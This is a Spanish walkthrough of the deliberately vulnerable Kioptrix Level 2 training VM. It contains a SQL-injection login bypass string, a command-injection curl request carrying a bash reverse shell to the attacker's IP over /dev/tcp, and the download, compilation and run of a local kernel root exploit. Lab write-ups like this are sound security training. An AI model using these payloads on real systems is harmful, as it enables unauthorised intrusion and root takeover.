Siguiendo con los writeups de las máquinas Kioptrix, en este caso vamos a hablar de la VM de nivel 2. La máquina está marcada como fácil cómo la primera.
Arrancar VM
Para descargar la máquina la podemos encontrar en Vulnhub: https://download.vulnhub.com/kioptrix/archive/Kioptrix_Level_2-original.rar En mi caso arranqué la máquina en VMWare Workstation.
Al encenderla encontraremos el siguiente login.
Utilizar VM de root-me.org
Si no tenemos ganas de descargarnos la máquina o simplemente no podemos tenemos la opción de utilizar las máquinas de https://root-me.org. La Kioptrix level 2 la tenemos en la lista.
Encontrar la IP
Para encontrar la IP dentro de nuestra red podemos utiliza la herramienta nmap o netdiscover. En nuestro caso utilizaremos netdiscover:
netdiscover
En mi caso la IP que tiene asignada la máquina es la 192.168.0.167.
Realizar escaneado
Realizaremos un escaneado de los puertos para ver los servicios que se peuden encontrar:
nmap -PN -p- 192.168.0.167
El resultado:
Podemos ver que existen varios servicios, al revisar uno por uno vemos que lo más interesante lo encontramos en el puerto 80, protocolo tcp/ip y HTTP.
Login web
Al entrar en la ruta http://192.168.0.167 nos salta un login:
Lo primero que nos viene a la cabeza es hacer un bypass con un sql injection:
El nivel es bastante fácil, con la primera fórmula de SQLi para bypasear el login funciona perfectamente, introduciendo el siguiente parámetro en el usuario:
admin' or 1=1-- -
Conseguir la Shell
Tras bypassear el login vemos que nos encontramos con un panel de administración:
Según el texto parece que es posible hacer un ping a una máquina, sin embargo no aparece ningún formulario, para saber que está ocurriendo revisarmos el código de la web:
Tras ver el código vemos que el navegador no interpreta correctamente el código y se rompe el formulario, por suerte tenemos el código y la petición que necesitamos para poder enviar los datos a la web. Para ello utilizaremos la herramienta curl, finalmente motnamos la siguiente petición:
Como podemos ver nos muestra el resultado de un ping, esto es un indicio de que aquí podremos encontrar un Command Injection, para comprobarlo podemos hacer un sleep o simplemente originar un error en la petición.
Una vez sabemos que tenemos un Command Injection vamos a crearnos una shell inversa para poder interactuar con el servidor.
Ponemos a la escucha un netcat en nuestra máquina, ya sea un Kali o cualquier otro sistema. En mi caso la IP de mi máquina de ataque es 192.168.0.179.
Dejamos el nectat escuchando y nos movemos a la máquina Kioptrix, como ya tenemos la IP y el puerto de la shell vamos a lanzar el comando para hacer la shell inversa en el formulario web.
curl http://192.168.0.167/pingit.php -d "ip=127.0.0.1%3B%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.179%2F4444%200%3E%261&submit=submit"
Como podemos ver el comando que nos dará la shell está encodeado. El comando sin encodear sería el siguiente:
127.0.0.1; bash -i >& /dev/tcp/192.168.0.179/4444 0>&1
Al ejecutar el curl veremos que no se cierra, lo dejaremos en ejecución y volveremos al netcat ejecutado en al máquina del atacante. En el podremos ver lo siguiente:
listening on [any] 4444 ...
192.168.0.167: inverse host lookup failed: Unknown host
connect to [192.168.0.179] from (UNKNOWN) [192.168.0.167] 32773
bash: no job control in this shell
bash-3.00$
Ya estaremos dentro, si ejecutamos el comando whoami veremos que somos el usuario apache:
whoami
apache
bash-3.00$
Escalada de privilegios
Para ayudarnos con el exploit local que deberemos utilizar para realizar la escalada de privilegios utilizaremos la siguiente herramienta https://github.com/jondonas/linux-exploit-suggester-2. Intentatamos descargarla en nuestra shell del Kioptrix:
Primero nos moveremos a un directorio con permisos de escritura para nuestro usuario, en este caso /dev/shm:
bash-3.00$ cd /dev/shm
bash-3.00$
Ahora descargaremos el script:
bash-3.00$ wget --no-check-certificate https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
--04:50:36-- https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
=> `linux-exploit-suggester-2'
Resolving github.com... 140.82.121.3
Connecting to github.com|140.82.121.3|:443... connected.
OpenSSL: error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version
Unable to establish SSL connection.
bash-3.00$
Sin embargo podemos ver que da error de conexión, esto es debido a que nuestra versión de wget hace la petición con un protocolo de cifrado antiguo, no pasa nada, en estos casos podemos hacer uso de otro canal.
Vamos a descargarnos a nuestra máquina de ataque el exploit para luego descargarlo a la máquina Kiotrix. Primero de todo descargaremos el script en nuestra máquina atacante:
root@kali:~/ctfs/vulnhub/kioptrix/level_2/exploits# wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
--2020-12-19 13:02:16-- https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.64.133, 151.101.128.133, 151.101.192.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.64.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24783 (24K) [text/plain]
Saving to: ‘linux-exploit-suggester-2.pl’
linux-exploit-suggester-2.pl 100%[=========================================================================================================================================>] 24.20K --.-KB/s in 0.001s
2020-12-19 13:02:16 (16.1 MB/s) - ‘linux-exploit-suggester-2.pl’ saved [24783/24783]
En este punto tendremos descargado el script, ahora iniciaremos un servicio web muy sencillo con python para poder conectarnos desde la máquina Kioptrix:
root@kali:~/ctfs/vulnhub/kioptrix/level_2/exploits# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
En este punto dejaremos el servicio funcionando y nos iremos a nuestra shell en el Kioptrix, executaremos el wget pero esta vez apuntando a la IP de nuestra máquina atacante:
bash-3.00$ wget http://192.168.0.179:8000/linux-exploit-suggester-2.pl
--04:53:35-- http://192.168.0.179:8000/linux-exploit-suggester-2.pl
=> `linux-exploit-suggester-2.pl'
Connecting to 192.168.0.179:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24,783 (24K) [text/x-perl]
0K .......... .......... .... 100% 5.29 MB/s
04:53:35 (5.29 MB/s) - `linux-exploit-suggester-2.pl' saved [24783/24783]
Bingo! ahora si ya tenemos el script en la máquina que queremos. Cambiamos permisos y ejecutamos:
bash-3.00$ chmod +x linux-exploit-suggester-2.pl
En la ejecución nos va a mostrar distintas opciones de exploits para escalar privilegios:
Después de probar distintos exploits llegamos al que finalmente si que nos funciona. El exploit "udp_sendmsg_32bit", nos lo descargamos en la máquina Kioptrix:
bash-3.00$ wget --no-check-certificate https://raw.githubusercontent.com/1N3/PrivEsc/master/linux/linux_exploits/36108.c
--04:54:40-- https://raw.githubusercontent.com/1N3/PrivEsc/master/linux/linux_exploits/36108.c
=> `36108.c'
Resolving raw.githubusercontent.com... 151.101.128.133, 151.101.192.133, 151.101.0.133, ...
Connecting to raw.githubusercontent.com|151.101.128.133|:443... connected.
WARNING: Certificate verification error for raw.githubusercontent.com: unable to get local issuer certificate
WARNING: certificate common name `www.github.com' doesn't match requested host name `raw.githubusercontent.com'.
HTTP request sent, awaiting response... 200 OK
Length: 2,507 (2.4K) [text/plain]
0K .. 100% 1.10 MB/s
04:54:41 (1.10 MB/s) - `36108.c' saved [2507/2507]
En este caso si que nos dejó conectar. Compilamos:
bash-3.00$ gcc 36108.c -o 36108
bash-3.00$
Y ejecutamos:
bash-3.00$ ./36108
sh: no job control in this shell
Y finalmente comprobamos que estamos como usuario root:
sh-3.00# whoami
root
sh-3.00#
Con esto hemos podido ver que ya tenemos acceso con el usuario root :)